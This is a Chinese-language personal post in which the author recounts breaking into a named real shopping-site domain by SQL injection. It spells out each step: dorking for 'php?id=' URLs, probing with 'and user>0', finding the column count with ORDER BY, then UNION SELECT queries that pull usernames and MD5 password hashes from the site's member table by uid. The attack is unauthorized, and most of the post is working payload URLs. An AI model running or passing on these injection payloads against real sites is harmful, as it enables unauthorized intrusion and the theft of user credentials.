光说不练假把式,关于脚本入侵看的心痒,就实践了一把。
首先google:inurl:"php?id="
发现这个网站可get注入:
http://brand.66wz.com/store.php?id=18
试了下http://brand.66wz.com/store.php?id=18 and user>0
有反应,网页上出现错误提示:
然后输入
http://brand.66wz.com/store.php?id=18 and order by 5
报错:
根据提示,改为:
http://brand.66wz.com/store.php?id=18 ORDER BY 5 DESC LIMIT 0,20
页面正常:
再将5改为30,错误。
改为20,正常。
・・・・・・
最后得到的临界值为24。
然后通过火狐的插件得到下面网址:
http://brand.66wz.com/store.php?id=18 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from tables
后面的tables我试了很多单词,如admin什么的,都不行。
本来到这里就该结束了。
后来感觉太可惜了,抱着试一试的心态从网页的源代码取了点关键词百度了一下,发现了跟这个网站很多相关的信息:(http://zhangjianbin.iteye.com/blog/1631387)
其中有:
brand_admincp_group 管理组
brand_admincp_member 管理员
brand_admincp_perm 管理员权限
brand_adminsession 管理员与店铺管理员登录次数与信息判断
brand_members 会员信息
最后连源代码都有了:http://code1.okbase.net/codefile/tool.func.php_2012121116304_79.htm
然后进入:
http://brand.66wz.com/store.php?id=18 UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from brand_members
ok!10可以插入字段。
分别插入username以及password就得到了用户名以及md5加密的密码:
那么怎么匹配username和passeord呢,用穿山甲扫描的时候发现还有一个uid字段:
所以只要在网址中分别添上"where uid=xxxxx"就行了。
比如说:
http://brand.66wz.com/store.php?id=18 UNION SELECT 1,2,3,4,5,6,7,8,9,username,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from brand_members where uid=555157
http://brand.66wz.com/store.php?id=18 UNION SELECT 1,2,3,4,5,6,7,8,9,password,11,12,13,14,15,16,17,18,19,20,21,22,23,24 from brand_members where uid=555157
再后来,md5解密的时候发现。。。
乌云上已经有这个网站的漏洞了:
http://www.wooyun.org/bugs/wooyun-2010-046524
还真是有够年久了。